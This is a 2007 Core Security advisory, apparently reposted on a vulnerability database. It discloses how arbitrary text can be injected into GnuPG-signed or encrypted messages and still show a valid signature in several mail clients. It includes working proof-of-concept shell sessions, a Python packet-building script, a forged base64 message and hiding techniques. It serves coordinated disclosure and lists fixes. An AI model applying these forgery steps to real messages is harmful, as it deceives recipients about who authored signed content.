GnuPG and GnuPG clients unsigned data injection vulnerability

2007-03-08 / 2007-03-09
Risk: Medium
Local: Yes
Remote: Yes
CWE: N/A

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ GnuPG and GnuPG clients unsigned data injection vulnerability Date Published: 2007-03-05 Last Update: 2007-03-05 Advisory ID: CORE-2007-0115 Bugtraq IDs: BID 22757 - GnuPG BID 22758 - Enigmail BID 22759 - KMail BID 22760 - Evolution BID 22777 - Sylpheed BID 22778 - Mutt BID 22779 - GNUMail CVE Names: CVE-2007-1263 - for the visual distinction issues in GnuPG itself, all 4 attacks. CVE-2007-1264 - Enigmail improper use of --status-fd CVE-2007-1265 - KMail improper or non-existing use of --status-fd CVE-2007-1266 - Evolution improper or non-existing use of --status-fd CVE-2007-1267 - Sylpheed improper or non-existing use of --status-fd CVE-2007-1268 - Mutt improper or non-existing use of --status-fd CVE-2007-1269 - GNUMail improper or non-existing use of --status-fd Title: GnuPG and GnuPG clients unsigned data injection vulnerability Class: Implementation Error Remotely Exploitable: Yes Locally Exploitable: Yes Advisory URL: http://www.coresecurity.com/?action=item&id=1687 Vendors contacted: GnuPG . Core notification: 2007-02-01 . Notification acknowledged by GnuPG maintainers: 2007-02-02 . Technical details sent by Core: 2007-02-05 . GnuPG response (incorrect use of GnuPG): 2007-02-14 . GnuPG states that they will issue a patch: 2007-02-20 . Patch received from the GnuPG team: 2007-02-20 . GnuPG develops a patch for GPGME: 2007-02-26 . New version of GnuPG and GPGME released: 2007-03-05 Enigmail . Core notification: 2007-02-15 . Technical details sent by Core: 2007-02-15 . Notification acknowledged by Enigmail: 2007-02-16 . Issue reproduced and confirmed by Enigmail: 2007-02-19 . Enigmail develops a working patch: 2007-02-20 KMail . Core notification: 2007-02-23 . Notification acknowledged by KMail: 2007-02-24 . Technical details sent by Core: 2007-02-26 Evolution . Core notification: 2007-02-23 Sylpheed . Core notification: 2007-02-23 Mutt . Core notification: 2007-02-23 . Notification acknowledged by Mutt: 2007-02-24 . Technical details sent by Core: 2007-02-26 GNUMail . Core notification: 2007-02-23 . Notification acknowledged by GNUMail: 2007-02-23 . Technical details sent by Core: 2007-02-26 Release Mode: COORDINATED RELEASE *Vulnerability Description* Scripts and applications using GnuPG are prone to a vulnerability in how signature verification information is shown to the end user. An attacker is able to add arbitrary content to a signed message. The receiver of the message (using a mail client such as Enigmail to read the message) will not be able to distinguish the forged and the properly signed parts of the message. This problem derives from the fact that a valid OpenPGP message can include multiple portions, each of them in turn considered a message but some of which may or may not be signed and/or encrypted. Vulnerable third party applications do not use the appropriate GnuPG API to determine message boundaries and do not explicitly differentiate messages in their output to end users. In some cases, and depending on how GnuPG is used, even an advanced user directly using GnuPG from the command line may be fooled by this attack. It's important to note that this IS NOT a cryptographic problem, but rather a problem on how information is shown to the user and how third-party applications and GnuPG interact with each other. *Vulnerable Packages* GnuPG 1.4.6 and previous versions. Enigmail 0.94.2 and previous versions. KMail 1.9.5 and previous versions. Evolution 2.8.1 and previous versions. Sylpheed 2.2.7 and previous versions. Mutt 1.5.13 and previous versions. GNUMail 1.1.2 and previous versions. Other scripts and applications using GnuPG may be vulnerable. *Solution/Vendor Information/Workaround* The following versions of GnuPG and GPGME resolve this issue: GnuPG 1.4.7 GPGME 1.1.4 They can be downloaded from: http://www.gnupg.org/download/ The fixed versions enforce a limit of processing only one message on each run so third party applications and direct GPG users can not be confused by multiple messages with different security properties being intermingled in the output without clear message boundaries. For application developers using GnuPG as backend, it's a must to make the application pay attention to the output of the "--status-fd" option. Workaround: If a signed message looks suspicious, the validity of the signature can be verified manually by invoking GnuPG from the command line and adding the special option "--status-fd", as described below, to gain extra information. *Credits* This vulnerability was found by Gerardo Richarte from Core Security Technologies. *Technical Description - Exploit/Concept Code* As explained by RFC2440, an OpenPGP message, as used by GnuPG, is composed of several packets. A packet is a chunk of data that has a tag specifying its meaning. An OpenPGP message consists of a number of packets. Some of those packets may contain other OpenPGP packets. The most common types are a plaintext packet inside a signature packet, or a plaintext packet inside a signature packet inside an encrypted packet. When two or more OpenPGP messages are concatenated together, a new valid (and longer) message is obtained, and GnuPG handles it without problem, processing packets and messages one after the other. Our attack takes advantage of this feature of GnuPG. (It's actually a real feature). A standard signed-only message can be represented as: Compressed (OnePassSignature + Literal(text) + Signature) When the message is also encrypted, the session key, and an extra encryption layer is added: PubKeyEncrypted + EncryptedData( Compressed ( ... ) ) The message could be encrypted using symmetric crypto instead of public key: SimKeyEncrypted + EncryptedData( Compressed ( ... ) ) If the message is sent on email, or some other 7-bit medium, it may be ASCII-armored by encoding it using base64 and then appending a base64-encoded crc24 of the hole. AsciiArmor(PubKeyEncrypted + EncryptedData( Compressed ( ... ) ) Our attack consists in prepending a literal packet before a normal message, but inside the AsciiArmor if needed. We thought of several variants for this attack, and some more can be easily generated. There are four different ways to add text to a signed message, without invalidating the signature. *Attack Variant 1: Prepending plaintext to an only-signed message. This variant is the simplest, and consists on prepending a single Literal() packet to an existing message, resulting in, for example: Literal(bad_text) + Compressed( OnePassSignature + Literal(text) + Signature) When GnuPG processes this message, it first outputs <bad_text>, then outputs <text> and then verifies what's enclosed between the OnePassSignature and Signature packets, reporting that the signature is correct (for <text>). When GnuPG is used through standard input and standard output (as it is in most cases when it's used by other applications such as MUAs), no distinction or separation is shown in the output between the two texts, hence the application reading GnuPG's output has no way to decide if the original input consisted of several texts or just one correctly signed. And this is exactly the problem we found. Example: - ---------------- gera@poxiran:~/gpg$ gpg -z9 --output signed.gpg --sign You need a passphrase to unlock the secret key for user: "Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]>" 1024-bit DSA key, ID 3944C2D0, created 1999-02-16 This text is signed, it's a simple text to use as an example. gera@poxiran:~/gpg$ gpg -z0 --output forged.gpg --store This text is inserted by the attacker gera@poxiran:~/gpg$ gera@poxiran:~/gpg$ cat forged.gpg signed.gpg >hoax.gpg gera@poxiran:~/gpg$ gpg <hoax.gpg This text is inserted by the attacker This text is signed, it's a simple text to use as an example. gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID 3944C2D0 gpg: Good signature from "Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]>" Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 - ---------------- We can inspect the structure of the message using --list-packets. Although it doesn't show the nesting levels, it's a good help when trying these things: - ---------------- gera@poxiran:~/gpg$ gpg --list-packets <hoax.gpg :literal data packet: mode b (62), created 1172176500, name="", raw data: 38 bytes :compressed packet: algo=1 :onepass_sig packet: keyid 404F4B533944C2D0 version 3, sigclass 00, digest 2, pubkey 17, last=1 :literal data packet: mode b (62), created 1172176306, name="", raw data: 97 bytes :signature packet: algo 17, keyid 404F4B533944C2D0 version 3, created 1172176420, md5len 5, sigclass 00 digest algo 2, begin of digest 09 46 data: [160 bits] data: [159 bits] - ---------------- It's important to state here that GnuPG does offer an interface for applications to obtain additional information when using it through standard in and standard out, and this interface, when properly used, can prevent the attack described here (see the description of "--status-fd" in GnuPG documentation for more information). Using --status-fd is the officially recommended way to use GnuPG from another application. For example: - ---------------- gera@poxiran:~/gpg$ gpg --status-fd 1 <hoax.gpg [GNUPG:] PLAINTEXT 62 1172176500 [GNUPG:] PLAINTEXT_LENGTH 38 This text is inserted by the attacker [GNUPG:] PLAINTEXT 62 1172176306 [GNUPG:] PLAINTEXT_LENGTH 97 This text is signed, it's a simple text to use as an example. gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID 3944C2D0 [GNUPG:] SIG_ID iaMH4I4KCsPrWmVvMh3y0MqlUd0 2007-02-22 1172176420 [GNUPG:] GOODSIG 404F4B533944C2D0 Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]> gpg: Good signature from "Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]>" [GNUPG:] VALIDSIG A3901BBA2C58D6795A7186F9404F4B533944C2D0 2007-02-22 1172176420 0 3 0 17 2 00 A3901BBA2C58D6795A7186F9404F4B533944C2D0 [GNUPG:] TRUST_UNDEFINED Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 - ---------------- When GnuPG is used on files (vs. used through standard input and output), the user will be asked if the output file can be overwritten, and only the content of one Literal packet will be stored in the output file. If the user chooses not to overwrite the file, and just presses Enter as answer to the alternative file name, GnuPG's behaviour is not clear enough, and the user may be fooled into believing the forged text is actually correctly signed. However, the sole y/n question may be interpreted as enough sign that something weird is going on: - ---------------- gera@poxiran:~/gpg$ gpg hoax.gpg File `hoax' exists. Overwrite? (y/N) n Enter new filename: gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID 3944C2D0 gpg: Good signature from "Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]>" Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 gera@poxiran:~/gpg$ ls -l total 16 - -rw-r--r-- 1 gera gera 38 2007-02-23 12:16 hoax - -rw-r--r-- 1 gera gera 216 2007-02-22 17:36 hoax.gpg - -rw-r--r-- 1 gera gera 46 2007-02-22 17:35 prefix.gpg - -rw-r--r-- 1 gera gera 170 2007-02-22 17:33 signed.gpg gera@poxiran:~/gpg$ cat hoax This text is inserted by the attacker gera@poxiran:~/gpg$ - ---------------- *Attack Variant 2: Prepending plaintext to a "clearsign" message Clearsign messages are messages signed and encapsulated to be sent as an email: the text of the message is not encoded in any way and can be read without the help of GnuPG, and the signature is encoded using base64. If you wanted to perform an attack on somebody, you would first need an email signed by the victim, and then perform this attack on it. We found two different ways of prepending a forged text to a clearsign message. The first is simpler, but probably more visible to the victim. The second is not so straightforward and clean, but may appear a little bit less suspicious. A description of the first way to prepend plaintext to a "clearsign" message follows: - ---------------- gera@poxiran:~/gpg$ gpg -z0 --store -a --output clear_forged.txt This text was inserted by the attacker! gera@poxiran:~/gpg$ gpg --clearsign --output clear_signed.txt You need a passphrase to unlock the secret key for user: "Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]>" 1024-bit DSA key, ID 3944C2D0, created 1999-02-16 This text is in clear, and signed. gera@poxiran:~/gpg$ cat clear_signed.txt - -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This text is in clear, and signed. - -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (GNU/Linux) iD8DBQFF3xlcQE9LUzlEwtARAnJDAKCdWgHGdQr7r2yiYVG44NsYfGzNoQCfaPG9 JrhgBPYXGkBivmKlA879IvA= =/97+ - -----END PGP SIGNATURE----- gera@poxiran:~/gpg$ cat clear_forged.txt clear_signed.txt >clear_hoax.txt gera@poxiran:~/gpg$ gpg <clear_hoax.txt This text was inserted by the attacker! This text is in clear, and signed. gpg: Signature made Fri 23 Feb 2007 01:42:04 PM ART using DSA key ID 3944C2D0 gpg: Good signature from "Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]>" Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 - ---------------- Although GnuPG behaves exactly like in Attack Variant 1 previously described, some applications using it, like Enigmail, independently detect the boundaries of GPG data by inspecting the message, and, in Enigmail's case, for example, only process the first part of clear_hoax.txt, but don't process the signature part, making Enigmail/GnuPG not vulnerable to this specific mode of attack. It may be possible to fool Enigmail by using PGP/MIME, but our quick tests showed no results. We have not tested other applications like Kmail or Evolution with this approach. Note in the previous example that clear_signed.txt is how a signed email looks like. When performing our tests we found problems when copying the clearsign text from an email, specially regarding CrLf conversions and trimmed spaces at end of lines. We had to be very careful when extracting the original signed text from the email. For the second way to prepend a forged text to a "clearsign message" we will first convert the clearsign message to a standard GnuPG signed message, and then we'll do just the same we did in Attack Variant 1. From a clearsign message, either created using --clearsign or cut&pasted from an email, we need to extract the plaintext and the detached signature, and then build a GnuPG message from it. The following python script, although not perfect, will do just that (you'll need gpg.py [3] and Impacket [2]): - ---------------- clearsign2sign.py #!/usr/bin/python import os, gpg, sys, base64 clear_sign = open(sys.argv[1], "rb").read().splitlines() start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----") mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----") end = clear_sign.index("-----END PGP SIGNATURE-----") text = 'rn'.join(clear_sign[start+3:mid]) sign = 'n'.join(clear_sign[mid+3:end-1]) onepass = gpg.OnePassSignature() onepass['keyid'] = (0x12341234,0x12341234) onepass['digest_algo'] = 2 onepass['pubkey_algo'] = 1 onepass['sigclass'] = 1 plain1 = gpg.Plaintext() plain1['name'] = 'original' plain1['data'] = text plain1['mode'] = 0x62 signature = gpg.Raw() signature['data'] = base64.decodestring(sign) compressed = gpg.Compressed() compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB compressed['data'] = [onepass, plain1, signature] pkt = gpg.Packet() pkt['version'] = 1 pkt['data'] = compressed os.write(1,str(pkt)) - ---------------- This script will create a GnuPG message with the following structure: Compress ( OnePassSignature + Literal + Signature ) To verify that the generated file is valid, we can pipe the output to gpg: - ---------------- gera@poxiran:~/gpg$ ./clearsign2sign.py clear_signed.txt |gpg This text is in clear, and signed. gpg: Signature made Fri 23 Feb 2007 06:23:40 PM ART using DSA key ID 3944C2D0 gpg: Good signature from "Gerardo Richarte <gera (at) core-sdi (dot) com [email concealed]>" Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 gera@poxiran:~/gpg$ ./clearsign2sign.py clear_signed.txt |gpg --list-packets :compressed packet: algo=2 :onepass_sig packet: keyid 1234123412341234 version 3, sigclass 00, digest 2, pubkey 1, last=1 :literal data packet: mode b (62), created 0, name="original", raw data: 36 bytes :signature packet: algo 17, keyid 404F4B533944C2D0 version 3, created 1172265820, md5len 5, sigclass 01 digest algo 2, begin of digest 69 31 data: [158 bits] data: [158 bits] gera@poxiran:~/gpg$ - ---------------- The generated message can, again, be used as described in Attack Variant 1, concatenated to a forged plaintext, to perform an attack. If you want to send this as an email, the easiest way is to compose an email in your mail client, insert PGP/GPG header and footer, and paste a base64 version of the concatenation of forged.gpg and the output from clearsign2sign.py: - ---------------- gera@poxiran:~/gpg$ ./clearsign2sign.py clear_signed.txt >cleared.gpg gera@poxiran:~/gpg$ cat forged.gpg cleared.gpg | uuencode -m . > hoax.b64 gera@poxiran:~/gpg$ cat hoax.b64 begin-base64 644 , yyxiAEXd/nRUaGlzIHRleHQgaXMgaW5zZXJ0ZWQgYnkgdGhlIGF0dGFja2Vy CsiJAnicO8LLzMDEKGQCgYynjZI48osy0zPzEnMYgCAkI7NYoSS1okQBSGfm KSTnpCYW6Sgk5qUoFGem56Wm6PFyddgzszK63o+OcfD3DrZ0OXRBkCnTkGGe /p3lC5bMX5O579Kxm+fkWEQfPGb7yzDPSvTKol/m67kNGjsSmd05t7TFl3oC AFw8Lgo= ==== - ---------------- And this is how the final mail text should look like (first and last lines of uudecode output's removed): - -----BEGIN PGP MESSAGE----- Version: GnuPG v1.4.3 (GNU/Linux) yyxiAEXd/nRUaGlzIHRleHQgaXMgaW5zZXJ0ZWQgYnkgdGhlIGF0dGFja2Vy CsiJAnicO8LLzMDEKGQCgYynjZI48osy0zPzEnMYgCAkI7NYoSS1okQBSGfm KSTnpCYW6Sgk5qUoFGem56Wm6PFyddgzszK63o+OcfD3DrZ0OXRBkCnTkGGe /p3lC5bMX5O579Kxm+fkWEQfPGb7yzDPSvTKol/m67kNGjsSmd05t7TFl3oC AFw8Lgo= - -----END PGP MESSAGE----- Although not necessarily needed for every use, strictly speaking, the crc24 is missing. If you want, you can use gpg.py to calculate it. Then you just need to append it before the closing line: - ---------------- gera@poxiran:~/gpg$ python >>> import gpg >>> print '='+gpg.crc24(open('forged.gpg').read() + open('cleared.gpg').read()) =BLll - ---------------- In this example, you need to insert the string '=BLll' in a line before the -----END PGP MESSAGE----- marker to obtain a complete message. We've also confirmed that it's possible to perform the attack using PGP/MIME to encode the email body as an HTML message, which hides the original text using an open HTML comment. When PGP/MIME and HTML is used this way, the attacker can fully replace the message the victim reads, while still maintaining a valid signature, making the attack even more dangerous. *Attack Variant 3: Prepending plaintext to an encrypted and signed message. So far we've concentrated on messages that were originally only signed, but if the original message is also encrypted, the attack is still as easy to perform as it is for only signed messages. The structure of encrypted messages is quite similar for symmetrical encrypted messages or those encrypted using a public key: Symmetrical Encryption: SymKeyEnc_SesKey + Encrypted(OnePassSignature + Literal(text) + Signature) Public Key Encryption: PubKeyEnc_SesKey + Encrypted(OnePassSignature + Literal(text) + Signature) The difference is in the first packet, where SymKeyEnc_SesKey is a packet containing a session key encrypted using a symmetric cipher, and PubKeyEnc_SesKey contains the session key encrypted using a public key. This is a simplified example, in the more common case the data inside Encrypted() will be compressed. It would be straightforward to perform the attack as described in Variant 1 to obtain: Literal(bad_text) + SymKeyEnc_SesKey + Encrypted(OnePassSignature + ...) or Literal(bad_text) + PubKeyEnc_SesKey + Encrypted(OnePassSignature + ...) and this would be enough to attack people using any of the vulnerable GnuPG wrappers. But for people using GnuPG directly on the command line, they will notice that a part of the message is printed before asking the passphrase, and that another part is printed after asking it, which may look suspicious. However, if needed, this behaviour can be avoided by forcing GnuPG to ask the passphrase prior to processing any Literal packet and outputting any text. Simply change the order of the packets in forged message to look like: SymKeyEnc_SesKey + Literal(bad_text) + Encrypted(OnePassSignature + ...) or PubKeyEnc_SesKey + Literal(bad_text) + Encrypted(OnePassSignature + ...) With this GnuPG will ask the passphrase as soon as it sees the *KeyEnc_SesKey packets, and will only decrypt the contents of the Encrypted() packet, effectively outputting all text without interruption. *Attack Variant 4: Hiding the injected text from the naked eye In all the previous variants the injected text is stored without any encryption in the final message, and may be easily seen, probably making the attack weaker. A very simple solution to this is to compress the injected Literal packet, producing something like: Compressed( Literal(bad_text) ) + original_message or even Compressed( Literal(bad_text) + original_message ) The same effect of hiding the injected text can be achieved using encryption. All this more advanced variants can be easily tried using gpg.py. Another more advanced option would be to encrypt the injected text, but as the encryption layer is never disabled, all the remaining data would have to be encrypted as well. We have not tried this specific setting, but we are pretty sure it must work. *References* [1] The GNU Privacy Guard http://www.gnupg.org/ [2] Impacket library http://oss.coresecurity.com/projects/impacket.html [3] File needed to reproduce some of the attacks http://www.coresecurity.com/files/attachments/gpg.py [4] RFC 2440 http://www.ietf.org/rfc/rfc2440.txt [5] Similar (but different) vulnerability in GnuPG http://lists.gnupg.org/pipermail/gnupg-announce/2006q1/000216.html *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/ *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide. The company??s flagship product, CORE IMPACT, is the first automated penetration testing product for assessing specific information security threats to an organization. Penetration testing evaluates overall network security and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing, software security auditing and related training. Based in Boston, MA. and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. *DISCLAIMER* The contents of this advisory are copyright (c) 2007 CORE Security Technologies and (c) 2007 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. *PGP Key* This advisory has been signed with the PGP key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.a sc $Id: GPG-injection-advisory.txt 331 2007-03-05 22:21:42Z csarraute $ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) iD8DBQFF7J1HyNibggitWa0RAtQzAJ0ZTnaInvj6BB6dr/kFw+Cg87SObACfbGwY ISyEYgw4330Ydw9aLihKaF4= =wWtY -----END PGP SIGNATURE-----


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top